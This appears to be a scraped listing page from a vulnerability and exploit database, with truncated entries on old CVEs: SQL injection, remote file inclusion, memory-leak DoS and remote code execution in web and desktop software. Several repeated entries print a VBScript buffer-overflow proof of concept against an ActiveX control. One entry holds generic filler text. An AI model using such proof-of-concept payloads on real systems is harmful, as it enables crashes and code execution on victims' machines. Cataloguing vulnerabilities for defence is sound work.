6ALBlog (newsid) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications =================================================== 6ALBlog newsid Remote SQL Injection Vulnerability =================================================== +By CrackersChild+ Portal.......: 6ALBlog All Versions Download.....:...

MaraDNS DoS

Dynamic memory leak on unsupported query class or opcode...

xoops module tinycontent 1.5 - Remote File Inclusion

xoops module tinycontent 1.5 - Remote File Inclusion XOOPS Module TinyContent Remote File Inclusion version: 1.5 source: http://prdownloads.sourceforge.net/xoops/xoops2-mod-tinycontent15.zip Discovered by SpLo1T from hTTP://hacking.3Xforum.Ro BUG:...

CVE-2005-4841

Technical details about CVE-2005-4841 are not publicly available in the provided documents. Monitor for updates from Red Hat, NVD, CVE listings, and related advisories.

CVE-2005-4843

The CVE-2005-4843 vulnerability affects the SmartConnect Class control. It allows remote attackers to cause an Internet Explorer crash by creating a COM object of the control’s CLSID that is not intended for use within Internet Explorer. The issue is described across multiple sources (Red Hat, CV...

Design/Logic Flaw

Multiple memory leaks in server/MaraDNS.c in MaraDNS before 1.2.12.06, and 1.3.x before 1.3.05, allow remote attackers to cause a denial of service memory consumption via 1 reverse lookups or 2 requests for records in a class other than Internet IN, a different set of affected versions than...

CVE-2007-3115

Multiple memory leaks in server/MaraDNS.c in MaraDNS before 1.2.12.06, and 1.3.x before 1.3.05, allow remote attackers to cause a denial of service memory consumption via 1 reverse lookups or 2 requests for records in a class other than Internet IN, a different set of affected versions than...

Sql injection

Multiple SQL injection vulnerabilities in the insert function in the ValuePreference class grid/ed/ValuePreference.java in Adempiere before 3.1.6 allow remote attackers to execute arbitrary SQL commands via the 1 mAttribute or 2 mValue parameter. NOTE: some of these details are obtained from thir...

CVE-2007-2601

Buffer overflow in a certain ActiveX control in the GDivX Zenith Player AviFixer class in fix.dll 1.0.0.1 allows remote attackers to execute arbitrary code via a long SetInputFile property value...

Buffer overflow

Buffer overflow in a certain ActiveX control in the GDivX Zenith Player AviFixer class in fix.dll 1.0.0.1 allows remote attackers to execute arbitrary code via a long SetInputFile property value...

GDivX Zenith Player AviFixer Class (fix.dll 1.0.0.1) Buffer Overflow PoC

No description provided by source. html object classid='clsid:2225E9BC-AFB3-4ED4-B20E-4F6CF1C39F8B' id='target'/object script language = 'vbscript' ' IE 6 / GDivX Zenith Player AviFixer Class fix.dll v. 1.0.0.1 buffer overflow POC by rgod ' tested on xp sp2 EIP= "BBBB" BOF=String264, "A" + EIP +...

gdivx-dos.txt

' IE 6 / GDivX Zenith Player AviFixer Class fix.dll v. 1.0.0.1 buffer overflow POC by rgod ' tested on xp sp2 EIP= "BBBB" BOF=String264, "A" + EIP + String9999, unescape"%90" target.SetInputFile BOF...

GDivX Zenith Player AviFixer Class (fix.dll 1.0.0.1) Buffer Overflow PoC

Exploit for unknown platform in category dos / poc ======================================================================== GDivX Zenith Player AviFixer Class fix.dll 1.0.0.1 Buffer Overflow PoC ======================================================================== ' IE 6 / GDivX Zenith Player...

GDivX Zenith Player AviFixer Class - fix.dll 1.0.0.1 Buffer Overflow (PoC)

GDivX Zenith Player AviFixer Class - fix.dll 1.0.0.1 Buffer Overflow PoC ' IE 6 / GDivX Zenith Player AviFixer Class fix.dll v. 1.0.0.1 buffer overflow POC by rgod ' tested on xp sp2 EIP= "BBBB" BOF=String264, "A" + EIP + String9999, unescape"%90" target.SetInputFile BOF milw0rm.com 2007-05-09...

GDivX Zenith Player AviFixer Class - 'fix.dll 1.0.0.1' Buffer Overflow (PoC)

' IE 6 / GDivX Zenith Player AviFixer Class fix.dll v. 1.0.0.1 buffer overflow POC by rgod ' tested on xp sp2 EIP= "BBBB" BOF=String264, "A" + EIP + String9999, unescape"%90" target.SetInputFile BOF milw0rm.com 2007-05-09...

phpHoo3 (admin.php) Remote Login Bypass SQL Injection Vulnerability

phpHoo3 Login SQL injection // AYYILDIZ.ORG Gururla Sunar... download:http://cable-modems.org/phpHoo/files/phphoo3.zip author : iLker Kandemir ilkerkandemir at mynet.com Risk : High Class : Remote Vuln. Script : phpHoo3 tnx : h0tturk,ekin0x,Gencnesil,Gencturk,koray,Ajann .. Vulnerable; ///admin.p...

phphoo3-sql.txt

phpHoo3 Login SQL injection // AYYILDIZ.ORG Gururla Sunar... download:http://cable-modems.org/phpHoo/files/phphoo3.zip author : iLker Kandemir mynet.com Risk : High Class : Remote Vuln. Script : phpHoo3 tnx : h0tturk,ekin0x,Gencnesil,Gencturk,koray,Ajann .. Vulnerable; ///admin.php code ;...

JVN#44724673: Java Web Start vulnerable to execution of unauthorized system classes

Java Web Start, included in the JRE Java Runtime Environment and other products, is a tool for distributing Java applications over the web. A vulnerability exists in an implementation of Java Web Start which may allow Java Web Start Application including a malformed JAR file to execute an...

Nuked-klaN 1.7.6 Remote Code Execution Exploit

No description provided by source. ?php Nuked-klaN 1.7.6 Remote Code Execution Exploit ------------------------------------------------ Author: DarkFig [email protected] Website: http://www.acid-root.new.fr/ PHP conditions: None = Private since 2 months. errorreportingEALL ^ ENOTICE; This file...

Code injection

Unspecified vulnerability in Sun Solaris 9, when Solaris Auditing BSM is enabled for file read, write, attribute modify, create, or delete audit classes, allows local users to cause a denial of service panic via unknown vectors, possibly related to the auditsavepath function...